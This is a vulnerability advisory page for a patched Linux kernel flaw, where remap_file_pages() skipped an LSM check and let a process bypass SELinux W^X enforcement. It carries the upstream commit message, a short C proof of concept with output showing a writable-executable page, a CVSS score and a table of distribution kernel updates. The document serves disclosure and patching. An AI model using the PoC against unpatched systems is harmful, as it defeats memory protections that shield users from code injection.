In the Linux kernel, the following vulnerability has been resolved:
mm: call the security_mmap_file() LSM hook in remap_file_pages()
The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.
So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.
The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].
The PoC:
$ cat > test.c
int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }
$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)
[PM: subject line tweaks]
CVSS Details
- CVSS 3.1 Base Score: 7.8
- CVSS 3.1 Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Covered by Rapid7
| Product | Vendor Advisory | Solution File | Added | Published |
|---|---|---|---|---|
| Amazon Linux Ami 2 | — | Upgrade bpftoolUpgrade python-perfUpgrade kernelUpgrade kernel-livepatch-4.14.355-276.639Upgrade kernel-tools-develUpgrade kernel-develUpgrade kernel-debuginfo-common-x86_64Upgrade kernel-debuginfo-common-aarch64Upgrade kernel-toolsUpgrade kernel-livepatch-5.15.180-122.191Upgrade kernel-headersUpgrade python-perf-debuginfoUpgrade perf-debuginfoUpgrade bpftool-debuginfoUpgrade kernel-livepatch-5.10.236-227.928Upgrade perfUpgrade kernel-tools-debuginfoUpgrade kernel-debuginfo | Apr 30, 2025 | Oct 21, 2024 |
| Amazon_linux | — | Upgrade kernel | May 22, 2025 | Oct 21, 2024 |
| Amazon_linux_2023 | — | Upgrade kernel-debuginfo-common-x86_64Upgrade kernelUpgrade kernel-develUpgrade kernel-debuginfoUpgrade python3-perfUpgrade kernel-headersUpgrade kernel-libbpf-develUpgrade kernel-modules-extra-commonUpgrade python3-perf-debuginfoUpgrade kernel-tools-debuginfoUpgrade bpftoolUpgrade kernel-tools-develUpgrade kernel-libbpf-staticUpgrade kernel-modules-extraUpgrade perf-debuginfoUpgrade kernel-toolsUpgrade bpftool-debuginfoUpgrade kernel-libbpfUpgrade kernel-livepatch-6.1.124-134.200Upgrade perfUpgrade kernel-debuginfo-common-aarch64 | Feb 17, 2025 | Oct 21, 2024 |
| Debian | — | Upgrade linux-6.1Upgrade linux | Jan 13, 2025 | Oct 21, 2024 |
| Huawei Euleros 2_0_sp10 | — | Upgrade kernel-toolsUpgrade kernelUpgrade kernel-abi-stablelistsUpgrade python3-perfUpgrade kernel-tools-libs | Jan 14, 2025 | Oct 21, 2024 |
| Huawei Euleros 2_0_sp11 | — | Upgrade kernel-abi-stablelistsUpgrade kernelUpgrade kernel-tools-libsUpgrade bpftoolUpgrade kernel-toolsUpgrade python3-perf | Feb 11, 2025 | Oct 21, 2024 |
| Huawei Euleros 2_0_sp12 | — | Upgrade kernelUpgrade kernel-abi-stablelistsUpgrade bpftoolUpgrade python3-perfUpgrade kernel-tools-libsUpgrade kernel-tools | Feb 11, 2025 | Oct 21, 2024 |
| Huawei Euleros 2_0_sp9 | — | Upgrade kernelUpgrade kernel-tools-libsUpgrade python3-perfUpgrade kernel-tools | Jan 15, 2025 | Oct 21, 2024 |
| Redhat_linux | — | Upgrade kernel-rtNo solution existsUpgrade kernel | May 7, 2025 | Oct 21, 2024 |
| Ubuntu | — | Upgrade linux-image-6.11.0-1005-realtimeUpgrade linux-image-oracle-lts-24.04Upgrade linux-image-virtual-hwe-24.04Upgrade linux-image-generic-hwe-24.04Upgrade linux-image-oem-24.04Upgrade linux-image-6.11.0-1010-lowlatency-64kUpgrade linux-image-nvidia-hwe-22.04Upgrade linux-image-gcpUpgrade linux-image-6.8.0-1025-azure-fdeUpgrade linux-image-6.11.0-18-genericUpgrade linux-image-nvidia-64kUpgrade linux-image-gkeUpgrade linux-image-generic-64kUpgrade linux-image-virtualUpgrade linux-image-6.8.0-57-generic-64kUpgrade linux-image-6.11.0-1009-gcpUpgrade linux-image-nvidiaUpgrade linux-image-oracleUpgrade linux-image-6.11.0-18-generic-64kUpgrade linux-image-virtual-hwe-22.04Upgrade linux-image-oem-24.04bUpgrade linux-image-6.11.0-1009-azure-fdeUpgrade linux-image-oracle-64kUpgrade linux-image-lowlatency-64kUpgrade linux-image-generic-64k-hwe-22.04Upgrade linux-image-oem-22.04bUpgrade linux-image-aws-lts-24.04Upgrade linux-image-realtimeUpgrade linux-image-generic-hwe-22.04Upgrade linux-image-6.8.0-1006-gkeopUpgrade linux-image-6.8.0-1019-raspiUpgrade linux-image-genericUpgrade linux-image-6.11.0-1010-lowlatencyUpgrade linux-image-oem-22.04Upgrade linux-image-6.8.0-1020-oracle-64kUpgrade linux-image-6.11.0-1015-oemUpgrade linux-image-6.8.0-57-genericUpgrade linux-image-oem-22.04cUpgrade linux-image-lowlatency-64k-hwe-22.04Upgrade linux-image-gkeopUpgrade linux-image-6.8.0-1024-oemUpgrade linux-image-6.8.0-1024-gcp-64kUpgrade linux-image-oem-24.04aUpgrade linux-image-azure-lts-24.04Upgrade linux-image-realtime-hwe-24.04Upgrade linux-image-6.8.0-1022-nvidiaUpgrade linux-image-gcp-lts-24.04Upgrade linux-image-ibm-classicUpgrade linux-image-gkeop-6.8Upgrade linux-image-6.8.0-54-lowlatencyUpgrade linux-image-6.8.0-1022-nvidia-lowlatency-64kUpgrade linux-image-ibmUpgrade linux-image-6.11.0-1009-azureUpgrade linux-image-gcp-64k-lts-24.04Upgrade linux-image-nvidia-lowlatency-64kUpgrade linux-image-6.8.0-1025-azureUpgrade linux-image-azureUpgrade linux-image-azure-fdeUpgrade linux-image-6.8.0-1022-nvidia-64kUpgrade linux-image-6.8.0-1014-azure-nvidiaUpgrade linux-image-oem-22.04dUpgrade linux-image-6.8.0-54-generic-64kUpgrade linux-image-ibm-lts-24.04Upgrade linux-image-generic-64k-hwe-24.04Upgrade linux-image-6.11.0-1009-awsUpgrade linux-image-kvmUpgrade linux-image-azure-nvidiaUpgrade linux-image-6.8.0-1020-oracleUpgrade linux-image-awsUpgrade linux-image-lowlatency-hwe-22.04Upgrade linux-image-oem-22.04aUpgrade linux-image-oracle-64k-lts-24.04Upgrade linux-image-nvidia-64k-6.8Upgrade linux-image-6.8.0-54-lowlatency-64kUpgrade linux-image-6.8.0-54-genericUpgrade linux-image-6.11.0-1011-oracleUpgrade linux-image-6.8.0-1023-awsUpgrade linux-image-raspiUpgrade linux-image-lowlatencyUpgrade linux-image-gcp-64kUpgrade linux-image-nvidia-6.8Upgrade linux-image-6.11.0-1008-raspiUpgrade linux-image-generic-lpaeUpgrade linux-image-nvidia-lowlatencyUpgrade linux-image-6.8.0-1019-gkeUpgrade linux-image-azure-fde-lts-24.04Upgrade linux-image-6.8.0-1022-nvidia-lowlatencyUpgrade linux-image-6.8.0-1024-gcpUpgrade linux-image-6.8.0-1022-ibmUpgrade linux-image-nvidia-64k-hwe-22.04Upgrade linux-image-6.11.0-1011-oracle-64k | Feb 20, 2025 | Oct 21, 2024 |
| Vmware Photon_os | — | Use 'tdnf update' to upgrade all packages to the latest version. | Jul 2, 2025 | Oct 21, 2024 |
Prioritise with Active Threat Intelligence
With curated Threat Intelligence, you can see which vulnerabilities truly put you at risk, prioritize what matters most, and act before attackers do.
Explore Intelligence Hub